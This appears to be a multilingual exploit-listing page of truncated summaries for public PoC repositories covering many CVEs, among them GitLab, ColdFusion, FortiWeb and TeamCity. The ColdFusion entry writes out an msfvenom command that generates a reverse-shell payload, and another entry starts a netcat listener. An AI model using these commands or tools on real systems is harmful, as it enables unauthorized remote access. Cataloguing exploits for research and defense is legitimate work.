CVE-2021-31630

CVE-2021-31630 OpenPLC 3 WebServer Authenticated Remote Code Execution. Описание Наличие внедрения команд Command Injection в веб-сервере Open PLC v3 позволяет удалённым злоумышленникам выполнять произвольный код. Протестировано только на машине HTB Wifinetictwo.htb. Я обнаружил проблемы со всеми...

CVE-2024-4577

CVE-2024-4577: PHP の CGI 設定における重大な脆弱性 PHP の CGI モードには深刻なセキュリティ上の欠陥が存在し、攻撃者が URL パラメータを操作することで任意のコマンドを実行できるようになります。 影響を受けるバージョン Windows 上で php-cgi を実行している PHP 7.4.29 未満および 8.0.19 未満のバージョン。 攻撃手法 攻撃者は、特別に細工したリクエストを PHP CGI...

CVE-2025-10230

CVE-2025-10230: критическая RCE в Samba CVSS 10.0 Сводка об уязвимости CVE-2025-10230 — это критическая уязвимость удаленного выполнения кода RCE, которая оставалась скрытой в кодовой базе Samba на протяжении 13 лет. Ошибка заключается в обработке пакетов регистрации WINS Windows Internet Name...

Mitigate-CVE-2023-46747

Ansible-плейбук для устранения CVE-2023-46747 K000137353: уязвимость удалённого выполнения кода без аутентификации в утилите конфигурации BIG-IP CVE-2023-46747 Вот ссылка: https://my.f5.com/manage/s/article/K000137353 Как использовать 1. Склонируйте мой репозиторий:...

CVE-2026-65643

cPanel & WHM versions prior to 11.138.0.2 (and older branches 11.110, 11.134, 11.136) contain an eval injection in the domain parking and addon domain functionality. An authenticated user with permission to add parked or addon domains can create arbitrary files on the server, escalating to code e...

EUVD-2026-68922

Eval injection in cPanel 11.138.0.0 and earlier allows remote authenticated users to execute arbitrary code as root...

CVE-2026-65643

Eval injection in cPanel 11.138.0.0 and earlier allows remote authenticated users to execute arbitrary code as root...

CVE-2025-22953

CVE-2025-22953 – Неаутентифицированная слепая SQL-инъекция в Epicor HCM Обновление – выпущен патч Epicor Epicor официально выпустила патч, устраняющий эту уязвимость. Всем затронутым пользователям настоятельно рекомендуется немедленно установить обновление. 🔗 Анонс патча безопасности Epicor Сводк...

CVE-2021-32099

CVE-2021-32099 PoC Этот репозиторий содержит доказательство концепции PoC эксплойта для уязвимости CVE-2021-32099 , затрагивающей Pandora FMS 742. Эксплойт показывает, как неаутентифицированный злоумышленник может использовать SQL-инъекцию для повышения привилегий неавторизованной сессии до уровн...

spring-break_cve-2017-8046

spring-breakcve-2017-8046 Это Java-программа, эксплуатирующая уязвимость Spring Break CVE-2017-8046. Это программное обеспечение написано так, чтобы иметь как можно меньше внешних зависимостей. ДИСКЛЕЙМЕР Этот инструмент предназначен для инженеров по безопасности и специалистов по безопасности...

gitlab_rce_cve-2022-2884

gitlabrcecve-2022-2884 Это программа на Python3, которая эксплуатирует аутентифицированную RCE-уязвимость GitLab, известную как CVE-2022-2884. ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ Этот инструмент предназначен для специалистов по безопасности и AppSec для проведения оценок безопасности. Пожалуйста, используйт...

CVE-2023-26360-RCE

CVE-2023-26360 - ColdFusion 2021 원격 코드 실행 때때로 스크립트가 첫 시도에 작동하지 않습니다. 작동할 때까지 몇 번 시도해 보세요 실행 방법 msfvenom으로 페이로드 생성 root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java server.py 시작하기 이 서버는 cve.2023-26360.py를 통한 초기 접근 후 Coldfusion 서버로 페이로드를 전송하므로, 먼저 초기화되어 있어야 합니다...

CVE-2024-47533

CVE-2024-47533 - Эксплойт RCE с обходом аутентификации XMLRPC в Cobbler Критическое удалённое выполнение кода через обход аутентификации в Cobbler Реализация PoC. Краткое описание Cobbler, сервер установки Linux, обеспечивающий быструю настройку сетевых установочных сред, имеет уязвимость...

CVE-2025-25257

CVE-2025-25257 watchtowr および GitHub で見つけた他の研究者によって公開された CVE-2025-25257 のエクスプロイトは、公式ベンダーサイトからダウンロードした私の fortiweb 環境では動作しませんでした。これらのエクスプロイトコードの一部を流用して、自分の環境でリバースシェルを起動できる PoC を作成しました。リバースシェルの IP アドレスとポートはハードコードされているため、もちろん変更する必要があります。 エクスプロイトの解析とウォークスルーは、私の YouTube チャンネルの 2...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Обратная оболочка Обратная оболочка для CVE-2024-28397. Эксплойт работает для js2py = v0.74 Требования библиотека requests pip install requests Python3 Netcat или что-то, что можно использовать как слушатель для обратной оболочки Использование Для слушателя root@kitploit: nc -lnvp...

Mailcow-CVE-2022-31245

Mailcow CVE-2022-31245 CVE-2022-31245: Mailcow 向けの RCE および Domain Admin 権限昇格。PoC を含む。 報告および修正: 2022-05 パッチ適用バージョン: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d CVE: https://vulners.com/cve/CVE-2022-31245 CVE-2022-31245: コマンドインジェクション, RCE 重要度: 3/3 タイプ: コマンドインジェクション, RCE,...

CVE-2021-3130

CVE-2021-3129 CVE-2021-3129 のもう一つのエクスプロイト！より多くの機能と信頼性を備えるために作られました。https://pentest-tools.com/blog/exploit-rce-vulnerability-laravel-cve-2021-3129 に基づいています 免責事項: このスクリプトは、システムのセキュリティを監査するために作成されました。このスクリプトは、ご自身のシステム、または明示的な許可を得たシステムに対してのみ使用してください。...

CVE-2025-55182_PoC-Test-Server

CVE-2025-55182PoC-Test-Server CVE-2025-55182 React RCE テストサーバー...

CVE-2025-24893-

CVE-2025-24893- CVE-2025-24893 | Уязвимость удаленного выполнения кода на платформе XWiki доказательство концепции...

CVE-2024-27198-POC

CVE-2024-27198 – Обход аутентификации JetBrains TeamCity и RCE PoC Автор: EynaExp Область применения: Исследование / Защитная валидация / Только авторизованное тестирование Обзор Этот репозиторий содержит массовый сканер proof-of-concept , нацеленный на экземпляры JetBrains TeamCity , затронутые...